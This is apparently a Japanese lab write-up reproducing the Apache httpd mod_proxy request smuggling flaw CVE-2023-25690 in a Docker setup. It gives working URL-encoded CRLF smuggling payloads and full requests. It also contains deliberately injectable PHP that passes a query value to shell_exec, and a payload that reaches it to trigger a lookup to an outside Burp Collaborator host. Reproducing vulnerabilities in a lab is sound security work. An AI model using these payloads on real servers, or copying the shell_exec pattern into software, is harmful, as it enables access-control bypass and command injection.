Apache HTTP Server の 2.4.0 から 2.4.55 までの一部の mod_proxy 構成では、HTTP リクエストスマグリング攻撃が可能です。mod_proxy が有効で、かつ RewriteRule や ProxyPassMatch などにより、ユーザーが指定したリクエストターゲット (URL) データの一部が非特定的なパターンに一致し、変数置換を使用してプロキシ先のリクエストターゲットに再挿入される場合、影響を受けます。例えば、次のような構成です:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
リクエスト分割/スマグリングにより、プロキシサーバーでのアクセス制御の回避、意図しない URL の既存オリジンサーバーへのプロキシ、およびキャッシュポイズニングが発生する可能性があります。ユーザーは、Apache HTTP Server を少なくともバージョン 2.4.56 に更新することをお勧めします。
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Apache の設定に RewriteEngine on を含めると、URL 書き換えエンジンが有効になります。URL 書き換えは、Web サーバーがクライアントのブラウザーから要求された URL を、コンテンツを配信する前に別の URL へ動的に変更できるようにする技術です。
たとえば、オンラインショップに次のような URL 構造があるとします:
https://example-shop.com/categories/1
Apache 設定ファイルに次の RewriteRule ディレクティブがあると仮定します:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
ユーザーが URL https://example-shop.com/categories/1 を要求すると、RewriteRule はその URL に一致し、正規表現 ^/categories/(.*) を使用して値 1 をキャプチャします。次に、このルールはキャプチャした値をクエリパラメータ id として書き換え後の URL に追加し、URL を http://example-shop.com:8080/categories?id=1 に書き換えます。
このルールには [P] フラグが存在するため、Apache は書き換え後の URL をプロキシリクエストとして扱い、クエリパラメータ id が 1 に設定された状態で、ターゲットサーバー http://example-shop.com:8080/categories に転送します。ターゲットサーバーはリクエストを処理し、レスポンスを Apache に返します。Apache はそれをクライアントに転送します。
要約すると、[P] フラグを伴う RewriteRule ディレクティブは、URL を書き換えて別のサーバーにプロキシするために使用されます。この場合、ルールは /categories/ で始まる URL に一致し、キャプチャした値をクエリパラメータ id として書き換え後の URL に追加します。その後、Apache はリクエストをターゲットサーバーに転送し、ターゲットサーバーがリクエストを処理してレスポンスを返します。
最後に、ProxyPassReverse /categories/ http://example-shop.com:8080/ については、この行は単にバックエンドサーバーのドメインとパスをプロキシサーバーのドメインとパスに置き換えます。これにより、クライアントは、プロキシサーバーから直接配信されているかのように、プロキシされたバックエンドサーバーのリンクを正しく辿ってコンテンツにアクセスできます。

Apache の脆弱性を再現するために、httpd バージョン 2.4.55 を使用します。さらに、セットアップ、設定、再現性をより容易にするため、ラボ全体を Docker 化します。
ラボのファイル構成は次のとおりです:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
最終的な httpd.conf の設定は以下のようになります:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Load necessary modules
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
ラボを起動するには、docker-compose.exe up --build コマンドを使用します。
このセクションでは、CRLF インジェクションが内部 HTTP リクエストスマグリングにつながり、攻撃者が通常はアクセスできない内部リソースへ不正にアクセスできるようになる仕組みを説明します。
アドバイザリの説明によると、httpd <=2.4.55 は、CRLF インジェクションとしても知られる HTTP レスポンス分割に対して脆弱です。
CRLF インジェクションは、次の場合に発生します:
今回のケースでは、URL に次の CRLF プレフィックスを渡すことで確認できます:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
上記のプレフィックスを URL に追加すると、最終的なリクエストは次のようになります:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
このリクエストに続いて、サーバーはデータを処理し、CRLF インジェクションに対する脆弱性を示す 200 レスポンスコードを返します。
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
HTTP リクエスト分割の詳細については、https://owasp.org/www-community/attacks/HTTP_Response_Splitting を参照してください。
ヘッダーインジェクションを使用して、内部 HTTP リクエストスマグリングを実行します。
まず、次のプレフィックスから始めます:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
および次のリクエスト:
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
リライトルールを適用すると、リクエストは次の形式に変換されます:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
ここでは、エンコードされた URL が有効な HTTP 構文にデコードされ、バックエンドがデコードされたデータを 2 番目のリクエストとして扱うことになります。
内部アプリケーションに次のシークレットコードがあると仮定します:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
次のプレフィックスを使用すると、隠された機能に 2 番目のリクエストを送信できます:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
そして、Burp Collaborator でリクエストを取得します:

パッチ:
この脆弱性の影響は、攻撃者がリバースプロキシによって隠されることを意図された内部アプリケーションを標的にしてアクセスできるようになり、不正アクセス、データ漏えい、またはさらなる悪用につながる可能性があることです。